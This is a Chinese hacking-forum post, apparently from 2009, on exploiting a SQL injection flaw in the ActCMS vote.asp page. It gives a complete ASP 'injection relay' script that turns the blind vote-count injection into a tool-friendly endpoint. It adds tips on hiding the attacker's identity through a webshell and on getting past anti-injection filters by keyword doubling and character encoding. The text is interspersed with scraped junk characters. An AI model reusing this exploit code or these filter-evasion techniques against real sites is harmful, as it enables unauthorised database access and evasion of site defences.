注入中转的高级应用，actcms漏洞以及其他

admin

1 A' V; f( U+ h2 ~& B$ U3 \看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
2 S  c! |- B- G$ |+ a. ^: N关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
1 w/ f, L/ z3 d$ h4 i3 a$ M: b漏洞文件：
$ n, r( J7 G5 r  D/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
8 M% z! x9 D* L5 v! j
2 W+ Z2 B2 j  \7 y  {! J2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

/ n  Z! D3 U( v5 i9 B; p2 v  o! _3    response.end   
) a9 s) I" o( @$ W! T1 O8 S  n( ?
4    end if   
6 \4 j6 Z2 O9 F3 q1 f
5    for i=1 to request("voted").count   

2 U  d5 r1 _8 a. T1 M6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

( D4 I) O. S! t0 u* R) h  _. {7    next   

8....   
4 K0 k- p- N( W/ E
  o( Y" m( u* s5 U0 G7 P$ a6 D9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
+ [2 Y, X2 |' e) I0 F: f如果投票成功票数加1
            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
2 v* z* z' x0 i  I. P* T  }$ t8 Z
7 r4 U3 W3 ^3 g; q9 M/ R利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

7 q1 H+ N0 L  {: Z, v. F本帖隐藏的内容需要回复才可以浏览
& L; L+ Q8 l5 m0 u/ X1 Z& L$ t% L/ _- l我们用注入中转来实现这个注入具体代码如下：
5 f5 m, ^2 J0 u! d$ o先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
+ z0 {  v. V; h: h4 U8 |注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

: Z9 O+ ?* n8 E" C然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
% }9 x) f- F3 t/ e; E
* M) a* Y& d2 n" S1 Q- O02JmdcwName=request("jmdcw")
4 r( q8 p- z7 A4 Q" N9 V; H; Q5 b
0 A/ y. O; P+ z: l% I+ M" S03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

5 N7 I& a# A9 m/ N; @04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 o5 f1 Q( s* |) t& ^6 N- i
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

09JMUrl=JMUrl & "?" & JmStr
2 P( J6 |/ Q; z+ x
4 g$ Q3 }1 L* e+ g* m10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 _3 E# `& \5 p
8 q' E1 a: o# D( H3 ~11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
' r" O4 D0 Z0 Z" I: z# e7 K! n
1 C: ?5 w7 o# D7 G/ b12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  
; c# ^0 H& K$ @( N' L* J5 `
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! _/ i8 O; t7 i+ Q
; h. I. i( v# |1 K, l# y/ W16  
- m3 T" I0 Y9 a) o; P; q
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' ], h2 S$ K& \; @
18response.write test1&""&test2&""
9 @8 L2 g$ ]& @4 K7 b
* d  a1 y+ C8 r- K19  

20if test1=test2 then '如前后记录相等，表示失败
8 J& N$ E0 V, {: A4 @7 h: s) a
, W7 ]% t9 c  ~, Q21  response.write "failed"
/ z+ U* a1 M! M" l8 ~' q6 b
: w" L2 r2 t! i/ P* g/ Y22else

0 z" P* D6 v$ R6 v; C2 d9 p23  response.write "succeed"

* Q! L7 {5 @/ n, S24end if  
  @) q/ L0 X. x6 g( ~- W: ^
8 s+ M" |* ^) o9 u; t- W! C25  

26response.write "by 3x"

27  

# e5 O4 h& h% y8 o; ]9 C  m0 r28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
' N$ e; {9 X# N
30Dim Http
7 V" k8 `$ q0 k$ n. H( Z, r
1 O" ~0 h1 U4 e2 w) y1 Z+ l( Q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

9 Q8 \3 R! Q, `( s1 v32With Http

+ ~7 E0 @* P# l33  
+ K8 e- T8 @7 D
. e3 W$ b2 H  J: P* d34.Open "GET",PostUrl,False

5 l% h% Y7 P: y% y35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
* y1 \  ?5 |. K6 }# O
0 p- {2 `, q+ Q36.SetRequestHeader "Referer",PostRef

) C. a4 K+ z: H) ~$ O- p6 S37.SetRequestHeader "Cookie",PostCok

38.Send ()

6 B2 |% _8 `0 f& o3 ~39PostData = .ResponseBody

40End With
9 p$ B0 E, k3 Y, ^) z, ?
' Y' v' m- }9 X: r6 \41Set Http = Nothing
" F, [! V- l- M
42PostData =bytes2BSTR(PostData)
& U& I3 L8 C& b2 X3 ?5 ]
43End Function

* z3 G' ?/ c- ]2 J2 V! L6 w6 P1 o/ L44  
( y6 O' G1 g  W  J; f) U# ]4 V
# w7 V4 }( m  S# m& H45  

4 b$ w1 H( m8 w- ]5 w3 ?46Function bytes2BSTR(vIn)
2 K' r2 c' n, q  p$ ]
47Dim strReturn
! i, Y9 L" r, X) \" Q
0 J( `* M7 v: d; C& B' b* U4 \48Dim I, ThisCharCode, NextCharCode
: }. y7 Q0 e) a* V& [2 K2 V
9 E! z3 l2 k; y0 ~49strReturn = ""
  i: m" E5 q! [5 ~; z3 s; P+ m
5 M8 n* ]' `- q$ R50For I = 1 To LenB(vIn)

; ]/ d: O2 d$ i" A51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
8 T6 }- Z) C- V. E$ E9 g4 @' @
53strReturn = strReturn & Chr(ThisCharCode)
9 X5 a) G5 U, T
8 I# y$ O9 A2 u( g- s- S54Else
4 j2 Z/ E% g7 N9 e0 W
; P' m+ @* I7 h8 v55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. \5 e+ V( P3 ^1 n, S, K
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

, R# @0 [1 o7 c8 f8 l; @/ R( n& O5 m57I = I + 1
5 |6 y: {& Y6 n: y2 r0 P; j4 Y
! m2 O) e& |* R2 f, J  f58End If
  A+ V0 R' }. m  U3 N9 V% n. @- O
* z, o  A5 e) L% q( Y59Next
+ e6 \3 ~8 w- j: X% p/ J: w" c& d" i2 C
60bytes2BSTR = strReturn

61End Function
6 A* {" ]0 \  I( R' }+ \) J4 o
62  
& F: ]8 e$ k2 @) H
63Function URLEncoding(vstrin)  
/ n8 x: z, i6 Z1 o/ }
6 ]. F9 f% o6 t) E$ n! B! N64strReturn=""
  j. D/ n' i  p8 [6 b2 n; a
2 u1 W9 u5 k6 j5 M& D! E65Dim i
( W  k: n8 r/ b* e* S9 w
66For i=1 To Len(vstrin)
5 n+ u$ F- `5 l' V4 S3 ^6 I
67ThisChr=Mid(vstrin,i,1)
6 J( S& {* `3 P+ r& |1 N
68if Abs(Asc(ThisChr))< &HFF Then

. W: o  P9 T- x9 `/ s69strReturn=strReturn & ThisChr
2 ^5 ?( b/ @# D& X. K9 [6 }
70Else
. O( g$ A$ Z4 x7 p0 m  V
71InnerCode=Asc(ThisChr)
0 ]3 H5 R' P0 _- t
  L( i; d# J' ^- E72If InnerCode<0 Then
% @" C0 _+ a' H- c; \  J  _$ i* `
73InnerCode=InnerCode + &H10000

74End If

75Hight1=(InnerCode And &HFF00) \&HFF
( ~4 l: ]# \$ D
76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' ]- d, F; ]8 e  p
  t0 F- g4 @) ]0 R/ O78End if

& W. L. p" y+ {0 C* M0 V) X79Next

8 ~9 s7 h* |0 b/ f9 w# a* j% z5 ]80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
) Y: `/ J$ W- p5 s" D' v  L
8 P& u* `% i; C81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
. M5 W8 S; c9 ^
4 u' K3 w7 N  Y4 [82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function
# B) k2 @; x; Y/ C
( |0 k7 y% ^% \% s4 b85  
2 a) j1 u9 \  ?/ p$ e: T' X
7 y) S) A+ Z& w8 E9 ^86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

. u. G4 `/ ]. q- Z$ o# S88  endpot=instr(startpot,body," ")
8 _' @. A7 N  b" Q, j3 L
& R+ y) ~, H) G; A; u" r89  getSt=mid(body,startpot,endpot-startpot)

4 }5 z: |1 u: `$ Q- I' ?( L7 i90end function

91%>
. B$ h3 c5 @2 w/ k+ `% v+ W& z注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
9 J, {1 J( t( @- Z4 r) Y投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
+ @+ z% V4 ~8 G+ K+ H+ {http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
-------------------------------------------------------------------------------
, f; ]0 [' B$ v& B, t再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
; M% H: B- \8 c: F5 W
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
* Z1 G' ~  K! Z' ]% g. X. b2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
* H- J  j6 ?/ ?